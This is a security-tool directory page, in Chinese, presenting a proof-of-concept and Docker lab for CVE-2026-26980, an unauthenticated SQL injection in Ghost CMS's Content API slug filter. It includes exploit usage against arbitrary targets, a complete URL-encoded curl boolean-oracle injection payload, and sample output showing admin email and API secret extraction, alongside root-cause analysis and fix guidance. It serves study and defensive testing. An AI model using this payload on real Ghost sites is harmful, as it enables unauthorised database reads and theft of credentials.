Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-26980 — Python PoC 和 Docker 实验环境,演示 TryGhost Ghost CMS Content API slug 过滤器中的未认证 SQL 注入,通过布尔预言机提取数据库值。 | Kitploit
工具/GitHubGitHub/yym8538/cve-2026-26980
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育数据库安全实验室与实践
GitHubyym8538/cve-2026-26980

CVE-2026-26980

Python PoC 和 Docker 实验环境,演示 TryGhost Ghost CMS Content API slug 过滤器中的未认证 SQL 注入,通过布尔预言机提取数据库值。

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-26980

★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL 注入 PoC ★

https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c


概述

CVE-2026-26980 是 TryGhost Ghost CMS Content API 中的一个未认证 SQL 注入漏洞。当处理 slug:[...] 排序时,可通过公开的 Content API 过滤器处理逻辑访问到该漏洞路径。

本 PoC 构建了一个受控的 Ghost 6.19.0 实验环境,并演示了如何将公开的 Content API 请求转化为基于布尔的数据库读取原语。


受影响版本

产品受影响版本修复版本漏洞类型
TryGhost Ghost CMS>= 3.24.0, < 6.19.16.19.1SQL 注入

实验环境使用 Ghost 6.19.0。


实验环境搭建

使用 Docker 构建并运行存在漏洞的 Ghost CMS 环境:

docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980

示例:

http://127.0.0.1:9102/
image

实验环境在端口 9102 上运行一个真实的存在漏洞的 Ghost 6.19.0 实例。

实验环境的 Content API 密钥为:

EQSTLab299

描述

CVE-2026-26980:TryGhost Ghost CMS Content API SQL 注入漏洞

描述:TryGhost Ghost CMS 在 6.19.1 之前存在一个 SQL 注入漏洞,拥有公开 Content API 密钥的未认证攻击者可通过 Content API 的 filter 参数读取任意数据库值。该问题出现在 slug:[...] 过滤器排序路径中,用户控制的 slug 值被插入到原始 SQL 中,而未进行正确的参数绑定。

Ghost Content API 密钥按设计通常会通过主题、搜索、门户或前端 JavaScript 暴露给浏览器。这意味着无需 Ghost Admin 认证即可访问到该漏洞路径。


使用方法

Git clone

git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980

命令

python3 poc.py --url [Target]

可选的自定义 Content API 密钥:

python3 poc.py --url [Target] --key [Content API Key]

示例

python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299

[Target] 示例:http://127.0.0.1:9102

输出

========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target:                      [Target]
API Key:                     [Content API Key]
Endpoint:                    Content API (public, no auth)

[*] Calibrating oracle... OK

[*] Phase 1: Recon (fast checks)
  length(users.email) = 17
  length(users.password) = 60
  count(settings) (3 chars): 110
  count(users) (1 chars): 1
  count(api_keys) (1 chars): 9

[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>

[*] Phase 3: DB snapshot
Result:                      DB read primitive confirmed

公开的 PoC 通过提取实验环境安全的数据库元数据和 Ghost API 密钥材料来演示数据库读取影响。它不会打印挑战 flag。


分析

漏洞点

GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]

该漏洞逻辑存在于 Ghost Content API 针对 slug:[...] 过滤器的输入序列化路径中。Ghost 支持列表式 slug 过滤器,并通过生成 ORDER BY CASE 表达式来保留请求的 slug 顺序。

在受影响版本中,用户控制的 slug 值被插入到 SQL 片段中。简化的漏洞模式如下:

for (const [index, slug] of slugs.entries()) {
    order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}

由于 slug 由攻击者控制,且未经参数绑定即被插入到 SQL 字符串中,精心构造的 Content API 过滤器可以突破预期的比较并注入额外的 SQL 逻辑。

利用逻辑

实验 PoC 使用两个公开标签 bacon 和 chorizo 作为可观察的布尔预言机。

  • 如果注入的 SQL 条件为真,bacon 排在前面。
  • 如果注入的 SQL 条件为假,chorizo 排在前面。

通过对不同的 SQL 条件重复此测试,PoC 可以逐字符推断数据库值。

使用 curl 进行布尔预言机检查:

curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"

根本原因

根本原因是从用户控制的 slug 值不安全地构造 SQL ORDER BY CASE 片段。漏洞代码试图保留 Content API 响应顺序,但将解析后的 NQL 过滤器值视为可信的 SQL 文本。

稳健的修复必须:

  • 避免将用户控制的 slug 值插值到 SQL 字符串中
  • 对每个 slug 值使用参数绑定
  • 在不将过滤器值转换为原始 SQL 的情况下保留顺序
  • 将 NQL 解析与 SQL 构造分离

Ghost 在 6.19.1 中通过将原始插值替换为参数化查询绑定修复了此问题。

影响

这是一个 CWE-89:SQL 命令中使用的特殊元素的不当中和 问题。

由于 Ghost Content API 按设计是公开的,此漏洞可允许未认证攻击者通过公开的内容端点创建数据库读取原语。根据数据库内容和权限,攻击者可能能够:

  • 枚举数据库表元数据
  • 读取站点配置值
  • 读取用户表字段
  • 读取 API 密钥记录
  • 提取存储在 Ghost 数据库中的私有应用数据

场景

+-------------------------------------------+
|              Remote Attacker              |
+-------------------------------------------+
                      |
                      | GET /ghost/api/content/tags/
                      | filter = slug:[<SQLi payload>,chorizo,bacon]
                      v
+-------------------------------------------+
|          Ghost Public Content API          |
+-------------------------------------------+
                      |
                      | Unsafe slug order SQL construction
                      v
+-------------------------------------------+
|        ORDER BY CASE SQL Injection         |
+-------------------------------------------+
                      |
                      | Boolean difference in tag ordering
                      v
+-------------------------------------------+
|          Unauthenticated DB Read           |
+-------------------------------------------+

实验说明

本实验运行的是真实的存在漏洞的 Ghost 6.19.0 实例,而非最小化的模拟服务器。

实验预置了:

  • 一个公开的 Content API 密钥:EQSTLab299
  • 两个预言机标签:bacon、chorizo
  • EQST Lab 品牌标识和示例博客内容
  • Ghost SQLite 数据库中的一个一次性私有挑战值

公开的 poc.py 专为演示视频和公开技术文章设计。它展示了 SQL 注入影响,但不会打印挑战 flag。


清理

docker stop cve-2026-26980

免责声明

本仓库并非旨在作为 CVE-2026-26980 的 SQL 注入漏洞利用工具。本项目的目的是帮助人们了解此漏洞,或许还可以测试他们自己的应用程序。


参考资料

https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97

https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91

https://github.com/TryGhost/Ghost/releases/tag/v6.19.1

https://nvd.nist.gov/vuln/detail/CVE-2026-26980

https://osv.dev/vulnerability/CVE-2026-26980

https://github.com/TryGhost/Ghost

下载工具